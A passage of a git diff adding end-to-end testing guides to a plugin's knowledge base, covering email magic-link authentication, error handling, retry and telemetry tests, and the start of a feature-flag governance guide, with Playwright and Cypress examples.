+    recreate: () => signIn({ userName, password }),
+
+    // Share across ALL specs (one email for entire test run)
+    shareAcrossSpecs: true,
+  });
+});
+```
+
+**Usage across multiple specs**:
+
+```javascript
+// cypress/e2e/place-order.cy.ts
+describe('Place Order', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'), // From cypress.config
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email across all specs
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should place order', () => {
+    /* ... */
+  });
+  it('should view order history', () => {
+    /* ... */
+  });
+});
+
+// cypress/e2e/profile.cy.ts
+describe('User Profile', () => {
+  beforeEach(() => {
+    cy.visit('/');
+    cy.registerAndSignIn({
+      fullName: Cypress.env('fullName'),
+      userName: Cypress.env('userName'),
+      email: Cypress.env('email'), // SAME email - no new email sent!
+      password: Cypress.env('password'),
+    });
+  });
+
+  it('should update profile', () => {
+    /* ... */
+  });
+});
+```
+
+**Playwright equivalent with storageState**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+    {
+      name: 'authenticated',
+      testMatch: /.*\.spec\.ts/,
+      dependencies: ['setup'],
+      use: {
+        storageState: '.auth/user-session.json', // Reuse auth state
+      },
+    },
+  ],
+});
+```
+
+```typescript
+// tests/global-setup.ts (runs once)
+import { test as setup } from '@playwright/test';
+import { getMagicLinkFromEmail } from './support/mailosaur-helpers';
+
+const authFile = '.auth/user-session.json';
+
+setup('authenticate via magic link', async ({ page }) => {
+  const testEmail = process.env.TEST_USER_EMAIL!;
+
+  // Request magic link
+  await page.goto('/login');
+  await page.getByTestId('email-input').fill(testEmail);
+  await page.getByTestId('send-magic-link').click();
+
+  // Get and visit magic link
+  const magicLink = await getMagicLinkFromEmail(testEmail);
+  await page.goto(magicLink);
+
+  // Verify authenticated
+  await expect(page.getByTestId('user-menu')).toBeVisible();
+
+  // Save authenticated state (ONE TIME for all tests)
+  await page.context().storageState({ path: authFile });
+
+  console.log('✅ Authentication state saved to', authFile);
+});
+```
+
+**Key Points**:
+
+- **One email per run**: Global setup authenticates once
+- **State reuse**: All tests use cached storageState
+- **cypress-data-session**: Intelligently manages cache lifecycle
+- **shareAcrossSpecs**: Session shared across all spec files
+- **Massive savings**: 500 tests = 1 email (not 500!)
+
+---
+
+## Email Authentication Testing Checklist
+
+Before implementing email auth tests, verify:
+
+- [ ] **Email service**: Mailosaur/Ethereal/MailHog configured with API keys
+- [ ] **Link extraction**: Use built-in parsing (html.links[0].href) over regex
+- [ ] **State preservation**: localStorage/session/cookies saved and restored
+- [ ] **Session caching**: cypress-data-session or storageState prevents redundant emails
+- [ ] **Negative flows**: Expired, invalid, reused, rapid requests tested
+- [ ] **Quota awareness**: One email per run (not per test)
+- [ ] **PII scrubbing**: Email IDs logged for debug, but scrubbed from artifacts
+- [ ] **Timeout handling**: 30 second email retrieval timeout configured
+
+## Integration Points
+
+- Used in workflows: `*framework` (email auth setup), `*automate` (email auth test generation)
+- Related fragments: `fixture-architecture.md`, `test-quality.md`
+- Email services: Mailosaur (recommended), Ethereal (free), MailHog (self-hosted)
+- Plugins: cypress-mailosaur, cypress-data-session
+
+_Source: Email authentication blog, Murat testing toolkit, Mailosaur documentation_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/error-handling.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/error-handling.md
new file mode 100644
index 0000000..32de3d5
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/error-handling.md
@@ -0,0 +1,725 @@
+# Error Handling and Resilience Checks
+
+## Principle
+
+Treat expected failures explicitly: intercept network errors, assert UI fallbacks (error messages visible, retries triggered), and use scoped exception handling to ignore known errors while catching regressions. Test retry/backoff logic by forcing sequential failures (500 → timeout → success) and validate telemetry logging. Log captured errors with context (request payload, user/session) but redact secrets to keep artifacts safe for sharing.
+
+## Rationale
+
+Tests fail for two reasons: genuine bugs or poor error handling in the test itself. Without explicit error handling patterns, tests become noisy (uncaught exceptions cause false failures) or silent (swallowing all errors hides real bugs). Scoped exception handling (Cypress.on('uncaught:exception'), page.on('pageerror')) allows tests to ignore documented, expected errors while surfacing unexpected ones. Resilience testing (retry logic, graceful degradation) ensures applications handle failures gracefully in production.
+
+## Pattern Examples
+
+### Example 1: Scoped Exception Handling (Expected Errors Only)
+
+**Context**: Handle known errors (Network failures, expected 500s) without masking unexpected bugs.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/error-handling.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Scoped Error Handling Pattern
+ * - Only ignore specific, documented errors
+ * - Rethrow everything else to catch regressions
+ * - Validate error UI and user experience
+ */
+
+test.describe('API Error Handling', () => {
+  test('should display error message when API returns 500', async ({ page }) => {
+    // Scope error handling to THIS test only
+    const consoleErrors: string[] = [];
+    page.on('pageerror', (error) => {
+      // Only swallow documented NetworkError
+      if (error.message.includes('NetworkError: Failed to fetch')) {
+        consoleErrors.push(error.message);
+        return; // Swallow this specific error
+      }
+      // Rethrow all other errors (catch regressions!)
+      throw error;
+    });
+
+    // Arrange: Mock 500 error response
+    await page.route('**/api/users', (route) =>
+      route.fulfill({
+        status: 500,
+        contentType: 'application/json',
+        body: JSON.stringify({
+          error: 'Internal server error',
+          code: 'INTERNAL_ERROR',
+        }),
+      }),
+    );
+
+    // Act: Navigate to page that fetches users
+    await page.goto('/dashboard');
+
+    // Assert: Error UI displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/error.*loading|failed.*load/i);
+
+    // Assert: Retry button visible
+    await expect(page.getByTestId('retry-button')).toBeVisible();
+
+    // Assert: NetworkError was thrown and caught
+    expect(consoleErrors).toContainEqual(expect.stringContaining('NetworkError'));
+  });
+
+  test('should NOT swallow unexpected errors', async ({ page }) => {
+    let unexpectedError: Error | null = null;
+
+    page.on('pageerror', (error) => {
+      // Capture but don't swallow - test should fail
+      unexpectedError = error;
+      throw error;
+    });
+
+    // Arrange: App has JavaScript error (bug)
+    await page.addInitScript(() => {
+      // Simulate bug in app code
+      (window as any).buggyFunction = () => {
+        throw new Error('UNEXPECTED BUG: undefined is not a function');
+      };
+    });
+
+    await page.goto('/dashboard');
+
+    // Trigger buggy function
+    await page.evaluate(() => (window as any).buggyFunction());
+
+    // Assert: Test fails because unexpected error was NOT swallowed
+    expect(unexpectedError).not.toBeNull();
+    expect(unexpectedError?.message).toContain('UNEXPECTED BUG');
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/error-handling.cy.ts
+describe('API Error Handling', () => {
+  it('should display error message when API returns 500', () => {
+    // Scoped to this test only
+    cy.on('uncaught:exception', (err) => {
+      // Only swallow documented NetworkError
+      if (err.message.includes('NetworkError')) {
+        return false; // Prevent test failure
+      }
+      // All other errors fail the test
+      return true;
+    });
+
+    // Arrange: Mock 500 error
+    cy.intercept('GET', '**/api/users', {
+      statusCode: 500,
+      body: {
+        error: 'Internal server error',
+        code: 'INTERNAL_ERROR',
+      },
+    }).as('getUsers');
+
+    // Act
+    cy.visit('/dashboard');
+    cy.wait('@getUsers');
+
+    // Assert: Error UI
+    cy.get('[data-cy="error-message"]').should('be.visible');
+    cy.get('[data-cy="error-message"]').should('contain', 'error loading');
+    cy.get('[data-cy="retry-button"]').should('be.visible');
+  });
+
+  it('should NOT swallow unexpected errors', () => {
+    // No exception handler - test should fail on unexpected errors
+
+    cy.visit('/dashboard');
+
+    // Trigger unexpected error
+    cy.window().then((win) => {
+      // This should fail the test
+      win.eval('throw new Error("UNEXPECTED BUG")');
+    });
+
+    // Test fails (as expected) - validates error detection works
+  });
+});
+```
+
+**Key Points**:
+
+- **Scoped handling**: page.on() / cy.on() scoped to specific tests
+- **Explicit allow-list**: Only ignore documented errors
+- **Rethrow unexpected**: Catch regressions by failing on unknown errors
+- **Error UI validation**: Assert user sees error message
+- **Logging**: Capture errors for debugging, don't swallow silently
+
+---
+
+### Example 2: Retry Validation Pattern (Network Resilience)
+
+**Context**: Test that retry/backoff logic works correctly for transient failures.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/retry-resilience.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Retry Validation Pattern
+ * - Force sequential failures (500 → 500 → 200)
+ * - Validate retry attempts and backoff timing
+ * - Assert telemetry captures retry events
+ */
+
+test.describe('Network Retry Logic', () => {
+  test('should retry on 500 error and succeed', async ({ page }) => {
+    let attemptCount = 0;
+    const attemptTimestamps: number[] = [];
+
+    // Mock API: Fail twice, succeed on third attempt
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      attemptTimestamps.push(Date.now());
+
+      if (attemptCount <= 2) {
+        // First 2 attempts: 500 error
+        route.fulfill({
+          status: 500,
+          body: JSON.stringify({ error: 'Server error' }),
+        });
+      } else {
+        // 3rd attempt: Success
+        route.fulfill({
+          status: 200,
+          contentType: 'application/json',
+          body: JSON.stringify({ products: [{ id: 1, name: 'Product 1' }] }),
+        });
+      }
+    });
+
+    // Act: Navigate (should retry automatically)
+    await page.goto('/products');
+
+    // Assert: Data eventually loads after retries
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByTestId('product-item')).toHaveCount(1);
+
+    // Assert: Exactly 3 attempts made
+    expect(attemptCount).toBe(3);
+
+    // Assert: Exponential backoff timing (1s → 2s between attempts)
+    if (attemptTimestamps.length === 3) {
+      const delay1 = attemptTimestamps[1] - attemptTimestamps[0];
+      const delay2 = attemptTimestamps[2] - attemptTimestamps[1];
+
+      expect(delay1).toBeGreaterThanOrEqual(900); // ~1 second
+      expect(delay1).toBeLessThan(1200);
+      expect(delay2).toBeGreaterThanOrEqual(1900); // ~2 seconds
+      expect(delay2).toBeLessThan(2200);
+    }
+
+    // Assert: Telemetry logged retry events
+    const telemetryEvents = await page.evaluate(() => (window as any).__TELEMETRY_EVENTS__ || []);
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 1,
+        endpoint: '/api/products',
+      }),
+    );
+    expect(telemetryEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'api_retry',
+        attempt: 2,
+      }),
+    );
+  });
+
+  test('should give up after max retries and show error', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: Always fail (test retry limit)
+    await page.route('**/api/products', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Persistent server error' }),
+      });
+    });
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Max retries reached (3 attempts typical)
+    expect(attemptCount).toBe(3);
+
+    // Assert: Error UI displayed after exhausting retries
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/unable.*load|failed.*after.*retries/i);
+
+    // Assert: Data not displayed
+    await expect(page.getByTestId('product-list')).not.toBeVisible();
+  });
+
+  test('should NOT retry on 404 (non-retryable error)', async ({ page }) => {
+    let attemptCount = 0;
+
+    // Mock API: 404 error (should NOT retry)
+    await page.route('**/api/products/999', (route) => {
+      attemptCount++;
+      route.fulfill({
+        status: 404,
+        body: JSON.stringify({ error: 'Product not found' }),
+      });
+    });
+
+    await page.goto('/products/999');
+
+    // Assert: Only 1 attempt (no retries on 404)
+    expect(attemptCount).toBe(1);
+
+    // Assert: 404 error displayed immediately
+    await expect(page.getByTestId('not-found-message')).toBeVisible();
+  });
+});
+```
+
+**Cypress with retry interception**:
+
+```javascript
+// cypress/e2e/retry-resilience.cy.ts
+describe('Network Retry Logic', () => {
+  it('should retry on 500 and succeed on 3rd attempt', () => {
+    let attemptCount = 0;
+
+    cy.intercept('GET', '**/api/products', (req) => {
+      attemptCount++;
+
+      if (attemptCount <= 2) {
+        req.reply({ statusCode: 500, body: { error: 'Server error' } });
+      } else {
+        req.reply({ statusCode: 200, body: { products: [{ id: 1, name: 'Product 1' }] } });
+      }
+    }).as('getProducts');
+
+    cy.visit('/products');
+
+    // Wait for final successful request
+    cy.wait('@getProducts').its('response.statusCode').should('eq', 200);
+
+    // Assert: Data loaded
+    cy.get('[data-cy="product-list"]').should('be.visible');
+    cy.get('[data-cy="product-item"]').should('have.length', 1);
+
+    // Validate retry count
+    cy.wrap(attemptCount).should('eq', 3);
+  });
+});
+```
+
+**Key Points**:
+
+- **Sequential failures**: Test retry logic with 500 → 500 → 200
+- **Backoff timing**: Validate exponential backoff delays
+- **Retry limits**: Max attempts enforced (typically 3)
+- **Non-retryable errors**: 404s don't trigger retries
+- **Telemetry**: Log retry attempts for monitoring
+
+---
+
+### Example 3: Telemetry Logging with Context (Sentry Integration)
+
+**Context**: Capture errors with full context for production debugging without exposing secrets.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/telemetry-logging.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Telemetry Logging Pattern
+ * - Log errors with request context
+ * - Redact sensitive data (tokens, passwords, PII)
+ * - Integrate with monitoring (Sentry, Datadog)
+ * - Validate error logging without exposing secrets
+ */
+
+type ErrorLog = {
+  level: 'error' | 'warn' | 'info';
+  message: string;
+  context?: {
+    endpoint?: string;
+    method?: string;
+    statusCode?: number;
+    userId?: string;
+    sessionId?: string;
+  };
+  timestamp: string;
+};
+
+test.describe('Error Telemetry', () => {
+  test('should log API errors with context', async ({ page }) => {
+    const errorLogs: ErrorLog[] = [];
+
+    // Capture console errors
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') {
+        try {
+          const log = JSON.parse(msg.text());
+          errorLogs.push(log);
+        } catch {
+          // Not a structured log, ignore
+        }
+      }
+    });
+
+    // Mock failing API
+    await page.route('**/api/orders', (route) =>
+      route.fulfill({
+        status: 500,
+        body: JSON.stringify({ error: 'Payment processor unavailable' }),
+      }),
+    );
+
+    // Act: Trigger error
+    await page.goto('/checkout');
+    await page.getByTestId('place-order').click();
+
+    // Wait for error UI
+    await expect(page.getByTestId('error-message')).toBeVisible();
+
+    // Assert: Error logged with context
+    expect(errorLogs).toContainEqual(
+      expect.objectContaining({
+        level: 'error',
+        message: expect.stringContaining('API request failed'),
+        context: expect.objectContaining({
+          endpoint: '/api/orders',
+          method: 'POST',
+          statusCode: 500,
+          userId: expect.any(String),
+        }),
+      }),
+    );
+
+    // Assert: Sensitive data NOT logged
+    const logString = JSON.stringify(errorLogs);
+    expect(logString).not.toContain('password');
+    expect(logString).not.toContain('token');
+    expect(logString).not.toContain('creditCard');
+  });
+
+  test('should send errors to Sentry with breadcrumbs', async ({ page }) => {
+    const sentryEvents: any[] = [];
+
+    // Mock Sentry SDK
+    await page.addInitScript(() => {
+      (window as any).Sentry = {
+        captureException: (error: Error, context?: any) => {
+          (window as any).__SENTRY_EVENTS__ = (window as any).__SENTRY_EVENTS__ || [];
+          (window as any).__SENTRY_EVENTS__.push({
+            error: error.message,
+            context,
+            timestamp: Date.now(),
+          });
+        },
+        addBreadcrumb: (breadcrumb: any) => {
+          (window as any).__SENTRY_BREADCRUMBS__ = (window as any).__SENTRY_BREADCRUMBS__ || [];
+          (window as any).__SENTRY_BREADCRUMBS__.push(breadcrumb);
+        },
+      };
+    });
+
+    // Mock failing API
+    await page.route('**/api/users', (route) => route.fulfill({ status: 403, body: { error: 'Forbidden' } }));
+
+    // Act
+    await page.goto('/users');
+
+    // Assert: Sentry captured error
+    const events = await page.evaluate(() => (window as any).__SENTRY_EVENTS__);
+    expect(events).toHaveLength(1);
+    expect(events[0]).toMatchObject({
+      error: expect.stringContaining('403'),
+      context: expect.objectContaining({
+        endpoint: '/api/users',
+        statusCode: 403,
+      }),
+    });
+
+    // Assert: Breadcrumbs include user actions
+    const breadcrumbs = await page.evaluate(() => (window as any).__SENTRY_BREADCRUMBS__);
+    expect(breadcrumbs).toContainEqual(
+      expect.objectContaining({
+        category: 'navigation',
+        message: '/users',
+      }),
+    );
+  });
+});
+```
+
+**Cypress with Sentry**:
+
+```javascript
+// cypress/e2e/telemetry-logging.cy.ts
+describe('Error Telemetry', () => {
+  it('should log API errors with redacted sensitive data', () => {
+    const errorLogs = [];
+
+    // Capture console errors
+    cy.on('window:before:load', (win) => {
+      cy.stub(win.console, 'error').callsFake((msg) => {
+        errorLogs.push(msg);
+      });
+    });
+
+    // Mock failing API
+    cy.intercept('POST', '**/api/orders', {
+      statusCode: 500,
+      body: { error: 'Payment failed' },
+    });
+
+    // Act
+    cy.visit('/checkout');
+    cy.get('[data-cy="place-order"]').click();
+
+    // Assert: Error logged
+    cy.wrap(errorLogs).should('have.length.greaterThan', 0);
+
+    // Assert: Context included
+    cy.wrap(errorLogs[0]).should('include', '/api/orders');
+
+    // Assert: Secrets redacted
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'password');
+    cy.wrap(JSON.stringify(errorLogs)).should('not.contain', 'creditCard');
+  });
+});
+```
+
+**Error logger utility with redaction**:
+
+```typescript
+// src/utils/error-logger.ts
+type ErrorContext = {
+  endpoint?: string;
+  method?: string;
+  statusCode?: number;
+  userId?: string;
+  sessionId?: string;
+  requestPayload?: any;
+};
+
+const SENSITIVE_KEYS = ['password', 'token', 'creditCard', 'ssn', 'apiKey'];
+
+/**
+ * Redact sensitive data from objects
+ */
+function redactSensitiveData(obj: any): any {
+  if (typeof obj !== 'object' || obj === null) return obj;
+
+  const redacted = { ...obj };
+
+  for (const key of Object.keys(redacted)) {
+    if (SENSITIVE_KEYS.some((sensitive) => key.toLowerCase().includes(sensitive))) {
+      redacted[key] = '[REDACTED]';
+    } else if (typeof redacted[key] === 'object') {
+      redacted[key] = redactSensitiveData(redacted[key]);
+    }
+  }
+
+  return redacted;
+}
+
+/**
+ * Log error with context (Sentry integration)
+ */
+export function logError(error: Error, context?: ErrorContext) {
+  const safeContext = context ? redactSensitiveData(context) : {};
+
+  const errorLog = {
+    level: 'error' as const,
+    message: error.message,
+    stack: error.stack,
+    context: safeContext,
+    timestamp: new Date().toISOString(),
+  };
+
+  // Console (development)
+  console.error(JSON.stringify(errorLog));
+
+  // Sentry (production)
+  if (typeof window !== 'undefined' && (window as any).Sentry) {
+    (window as any).Sentry.captureException(error, {
+      contexts: { custom: safeContext },
+    });
+  }
+}
+```
+
+**Key Points**:
+
+- **Context-rich logging**: Endpoint, method, status, user ID
+- **Secret redaction**: Passwords, tokens, PII removed before logging
+- **Sentry integration**: Production monitoring with breadcrumbs
+- **Structured logs**: JSON format for easy parsing
+- **Test validation**: Assert logs contain context but not secrets
+
+---
+
+### Example 4: Graceful Degradation Tests (Fallback Behavior)
+
+**Context**: Validate application continues functioning when services are unavailable.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/graceful-degradation.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Graceful Degradation Pattern
+ * - Simulate service unavailability
+ * - Validate fallback behavior
+ * - Ensure user experience degrades gracefully
+ * - Verify telemetry captures degradation events
+ */
+
+test.describe('Service Unavailability', () => {
+  test('should display cached data when API is down', async ({ page }) => {
+    // Arrange: Seed localStorage with cached data
+    await page.addInitScript(() => {
+      localStorage.setItem(
+        'products_cache',
+        JSON.stringify({
+          data: [
+            { id: 1, name: 'Cached Product 1' },
+            { id: 2, name: 'Cached Product 2' },
+          ],
+          timestamp: Date.now(),
+        }),
+      );
+    });
+
+    // Mock API unavailable
+    await page.route(
+      '**/api/products',
+      (route) => route.abort('connectionrefused'), // Simulate server down
+    );
+
+    // Act
+    await page.goto('/products');
+
+    // Assert: Cached data displayed
+    await expect(page.getByTestId('product-list')).toBeVisible();
+    await expect(page.getByText('Cached Product 1')).toBeVisible();
+
+    // Assert: Stale data warning shown
+    await expect(page.getByTestId('cache-warning')).toBeVisible();
+    await expect(page.getByTestId('cache-warning')).toContainText(/showing.*cached|offline.*mode/i);
+
+    // Assert: Retry button available
+    await expect(page.getByTestId('refresh-button')).toBeVisible();
+  });
+
+  test('should show fallback UI when analytics service fails', async ({ page }) => {
+    // Mock analytics service down (non-critical)
+    await page.route('**/analytics/track', (route) => route.fulfill({ status: 503, body: 'Service unavailable' }));
+
+    // Act: Navigate normally
+    await page.goto('/dashboard');
+
+    // Assert: Page loads successfully (analytics failure doesn't block)
+    await expect(page.getByTestId('dashboard-content')).toBeVisible();
+
+    // Assert: Analytics error logged but not shown to user
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+
+    // Trigger analytics event
+    await page.getByTestId('track-action-button').click();
+
+    // Analytics error logged
+    expect(consoleErrors).toContainEqual(expect.stringContaining('Analytics service unavailable'));
+
+    // But user doesn't see error
+    await expect(page.getByTestId('error-message')).not.toBeVisible();
+  });
+
+  test('should fallback to local validation when API is slow', async ({ page }) => {
+    // Mock slow API (> 5 seconds)
+    await page.route('**/api/validate-email', async (route) => {
+      await new Promise((resolve) => setTimeout(resolve, 6000)); // 6 second delay
+      route.fulfill({
+        status: 200,
+        body: JSON.stringify({ valid: true }),
+      });
+    });
+
+    // Act: Fill form
+    await page.goto('/signup');
+    await page.getByTestId('email-input').fill('test@example.com');
+    await page.getByTestId('email-input').blur();
+
+    // Assert: Client-side validation triggers immediately (doesn't wait for API)
+    await expect(page.getByTestId('email-valid-icon')).toBeVisible({ timeout: 1000 });
+
+    // Assert: Eventually API validates too (but doesn't block UX)
+    await expect(page.getByTestId('email-validated-badge')).toBeVisible({ timeout: 7000 });
+  });
+
+  test('should maintain functionality with third-party script failure', async ({ page }) => {
+    // Block third-party scripts (Google Analytics, Intercom, etc.)
+    await page.route('**/*.google-analytics.com/**', (route) => route.abort());
+    await page.route('**/*.intercom.io/**', (route) => route.abort());
+
+    // Act
+    await page.goto('/');
+
+    // Assert: App works without third-party scripts
+    await expect(page.getByTestId('main-content')).toBeVisible();
+    await expect(page.getByTestId('nav-menu')).toBeVisible();
+
+    // Assert: Core functionality intact
+    await page.getByTestId('nav-products').click();
+    await expect(page).toHaveURL(/.*\/products/);
+  });
+});
+```
+
+**Key Points**:
+
+- **Cached fallbacks**: Display stale data when API unavailable
+- **Non-critical degradation**: Analytics failures don't block app
+- **Client-side fallbacks**: Local validation when API slow
+- **Third-party resilience**: App works without external scripts
+- **User transparency**: Stale data warnings displayed
+
+---
+
+## Error Handling Testing Checklist
+
+Before shipping error handling code, verify:
+
+- [ ] **Scoped exception handling**: Only ignore documented errors (NetworkError, specific codes)
+- [ ] **Rethrow unexpected**: Unknown errors fail tests (catch regressions)
+- [ ] **Error UI tested**: User sees error messages for all error states
+- [ ] **Retry logic validated**: Sequential failures test backoff and max attempts
+- [ ] **Telemetry verified**: Errors logged with context (endpoint, status, user)
+- [ ] **Secret redaction**: Logs don't contain passwords, tokens, PII
+- [ ] **Graceful degradation**: Critical services down, app shows fallback UI
+- [ ] **Non-critical failures**: Analytics/tracking failures don't block app
+
+## Integration Points
+
+- Used in workflows: `*automate` (error handling test generation), `*test-review` (error pattern detection)
+- Related fragments: `network-first.md`, `test-quality.md`, `contract-testing.md`
+- Monitoring tools: Sentry, Datadog, LogRocket
+
+_Source: Murat error-handling patterns, Pact resilience guidance, enterprise production error handling_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/feature-flags.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/feature-flags.md
new file mode 100644
index 0000000..2b8a458
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/feature-flags.md
@@ -0,0 +1,750 @@
+# Feature Flag Governance
+
+## Principle
+
+Feature flags enable controlled rollouts and A/B testing, but require disciplined testing governance. Centralize flag definitions in a frozen enum, test both enabled and disabled states, clean up targeting after each spec, and maintain a comprehensive flag lifecycle checklist. For LaunchDarkly-style systems, script API helpers to seed variations programmatically rather than manual UI mutations.
+
+## Rationale
+
+Poorly managed feature flags become technical debt: untested variations ship broken code, forgotten flags clutter the codebase, and shared environments become unstable from leftover targeting rules. Structured governance ensures flags are testable, traceable, temporary, and safe. Testing both states prevents surprises when flags flip in production.
+
+## Pattern Examples
+
+### Example 1: Feature Flag Enum Pattern with Type Safety
+
+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
